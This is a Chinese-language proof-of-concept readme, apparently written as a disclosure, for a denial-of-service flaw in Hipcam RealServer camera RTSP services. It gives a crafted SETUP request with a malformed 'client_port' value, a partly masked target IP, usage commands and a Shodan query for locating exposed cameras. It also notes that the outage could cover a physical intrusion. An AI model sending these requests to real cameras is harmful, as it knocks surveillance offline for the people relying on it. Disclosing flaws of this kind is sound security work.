
针对 Hipcam RealServer/V1.0 中 RTSP 服务格式验证漏洞的概念验证。
该 PoC 利用了 Hipcam RealServer/V1.0 中实时流媒体协议(RTSP)服务的格式验证漏洞,该漏洞源于对 RTSP SETUP 请求中 'client_port' 参数的输入验证和处理不当。
RTSP SETUP 请求中的 'client_port' 参数被篡改,从而触发 RTSP 服务器的格式验证漏洞。与具有特定溢出值的传统漏洞利用不同,此漏洞由不正确的格式触发,尤其是当 'client_port' 不符合预期格式(例如 client_port=[custom_port]-[custom_port+1])时。格式验证漏洞发生在应用程序未能正确验证或处理输入时,可能导致意外行为。在本例中,目标是中断服务。
cam_address = "rtsp://120.75.111.XX:554/11" #The RTSP port is normaly 554 with the path /11 which is also normaly used in Hipcam Cameras
random_data_value = 8712429 #It can be anything except the correct format of [custom_port]-[custom_port+1]
rtsp_request = f"SETUP {cam_address}/trackID=1 RTSP/1.0\r\nCSeq: 3\r\nTransport: RTP/AVP;unicast;client_port={random_data_value}\r\n\r\n"
python3 poc.py 120.75.111.XX 554
python3 poc.py -h
成功利用后,RTSP 流将离线约 45 秒。这种中断可能被利用于物理攻击场景,监控录像的暂时不可用可能为未经授权的访问或其他恶意活动提供机会。
时间线

国家/地区

有关 Hipcam RealServer 的 Shodan 趋势的更多信息,请查看 Shodan 趋势。
使用的搜索查询:has_screenshot:true port:554 "Hipcam RealServer/V1.0"。
本脚本仅用于教育和负责任披露目的。未经适当授权在系统上使用本脚本属于非法和不道德行为。用户有责任确保遵守法律和道德标准。